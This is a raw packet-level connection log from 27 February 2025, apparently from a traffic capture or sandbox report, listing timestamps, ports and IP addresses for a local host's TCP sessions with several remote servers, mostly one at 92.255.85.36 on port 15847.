Feb 27, 2025 20:25:08.424738884 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424743891 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424809933 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424813986 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424822092 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424839020 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424854040 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424882889 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424886942 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424985886 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.425403118 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.425416946 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.425462961 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.425470114 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.425492048 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.425506115 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.425786972 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.425801992 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.425868034 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.425879955 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.425896883 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.425926924 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.425977945 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.425997972 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426027060 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426031113 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426055908 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426068068 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426143885 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426156998 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426203966 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426211119 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426712990 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426728964 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426772118 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426776886 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426799059 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426820040 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426857948 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426875114 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426917076 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426923037 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.426969051 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.426991940 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.427007914 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.427045107 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.427051067 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.427083015 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.427095890 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.427098989 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.427109003 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.427139044 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.427148104 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.427159071 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.427200079 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.428699970 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.428721905 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.428821087 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.428826094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.428849936 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.428929090 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429066896 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429080963 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429126024 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429132938 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429294109 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429311037 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429352045 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429358006 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429374933 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429414034 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429548979 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429565907 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429614067 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429617882 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429636955 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429655075 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429673910 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429687023 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429721117 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429724932 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.429753065 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.429769993 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.431268930 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.431288004 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.431327105 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.431329012 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.431339979 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.431355000 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.431400061 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.431408882 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.431473970 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:09.390789032 CET	80	52533	45.61.157.205	192.168.2.16
Feb 27, 2025 20:25:09.390876055 CET	52533	80	192.168.2.16	45.61.157.205
Feb 27, 2025 20:25:09.391206026 CET	80	52533	45.61.157.205	192.168.2.16
Feb 27, 2025 20:25:09.391258955 CET	52533	80	192.168.2.16	45.61.157.205
Feb 27, 2025 20:25:09.844870090 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:10.274319887 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:11.296827078 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:13.521071911 CET	52533	80	192.168.2.16	45.61.157.205
Feb 27, 2025 20:25:29.410883904 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:29.410979033 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:29.411124945 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:29.411385059 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:29.411418915 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:30.062864065 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:30.063168049 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:30.063230991 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:30.063729048 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:30.064088106 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:30.064178944 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:30.112559080 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:39.962290049 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:39.962373018 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:39.962543964 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:40.129189014 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:40.134363890 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:40.134459019 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:40.775341034 CET	52666	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:25:40.775409937 CET	443	52666	172.217.16.196	192.168.2.16
Feb 27, 2025 20:25:40.787549973 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:40.824203968 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:40.829535961 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:40.936532974 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:40.941637993 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.046638966 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.047357082 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.053483009 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.093714952 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.159034967 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.164357901 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.169276953 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.221735954 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.272037029 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.300827980 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.348690987 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.383486986 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.411640882 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.460582972 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.495235920 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.533235073 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.587574005 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.606653929 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.652236938 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.654266119 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.699593067 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.716434956 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.721532106 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.776158094 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.827600002 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.828568935 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.833728075 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.897042036 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:41.938599110 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.940658092 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:41.945832968 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.018204927 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.051325083 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.056590080 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.139770985 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.165524006 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.170730114 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.260824919 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.276681900 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.282047987 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.386687994 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.392047882 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.404378891 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.449613094 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.498701096 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.503055096 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.536917925 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.536997080 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.612162113 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.660224915 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.682739019 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.722644091 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.727904081 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.782496929 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.833574057 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.836700916 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.841782093 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.903986931 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:42.944591045 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.945559025 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:42.951340914 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.024852037 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.057204008 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.062309027 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.146060944 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.168436050 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.173537970 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.267352104 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.280239105 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.285278082 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.388806105 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.392168999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.397300959 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.505275011 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.510071993 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.510377884 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.550622940 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.615200996 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.620264053 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.631320000 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.677589893 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.726260900 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.764770985 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.819576979 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.836206913 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.873991966 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:43.914585114 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.947225094 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:43.995207071 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.041606903 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.058252096 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.104243040 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.120570898 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.169574976 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.171473026 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.176538944 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.241939068 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.281584978 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.282385111 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.287401915 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.363174915 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.394154072 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.399225950 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.500776052 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.505491018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.510560989 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.605861902 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.616489887 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.621524096 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.725121975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.726969957 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.730273008 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.772675037 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.838320017 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.843655109 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.848270893 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:44.900757074 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.949157000 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:44.977138996 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.028740883 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.061114073 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.091130972 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.140676975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.173474073 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.212114096 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.251633883 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.286144018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.332340002 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.339579105 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.379698038 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.396286011 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.401521921 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.461041927 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.507580996 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.509649992 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.514750004 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.582235098 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.620598078 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.625770092 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.703500032 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.732393026 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.737431049 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.824647903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.842175961 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.847285032 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.948460102 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:45.954148054 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:45.959348917 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.066066980 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.069681883 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.072303057 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.113573074 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.179222107 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.184456110 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.197983980 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.241575003 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.291218996 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.328918934 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.384557962 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.401926041 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.440531015 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.495662928 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.512101889 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.560260057 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.561805964 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.607573986 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.625829935 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.630983114 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.683065891 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.734565973 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.735379934 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.740515947 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.804243088 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.846581936 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.848360062 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.853512049 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.925465107 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:46.959260941 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:46.964528084 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.046916008 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.071274042 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.079727888 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.170819044 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.182632923 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.190728903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.289439917 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.293410063 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.298660040 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.405468941 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.410918951 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.410959005 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.452697039 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.518289089 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.532320976 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.579722881 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.628914118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.661010027 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.707601070 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.740712881 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.775295973 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.819704056 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.852606058 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.896636963 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:47.947597980 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:47.968251944 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.017750978 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.059600115 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.076608896 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.128406048 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.138988018 CET	15847	52668	92.255.85.36	192.168.2.16
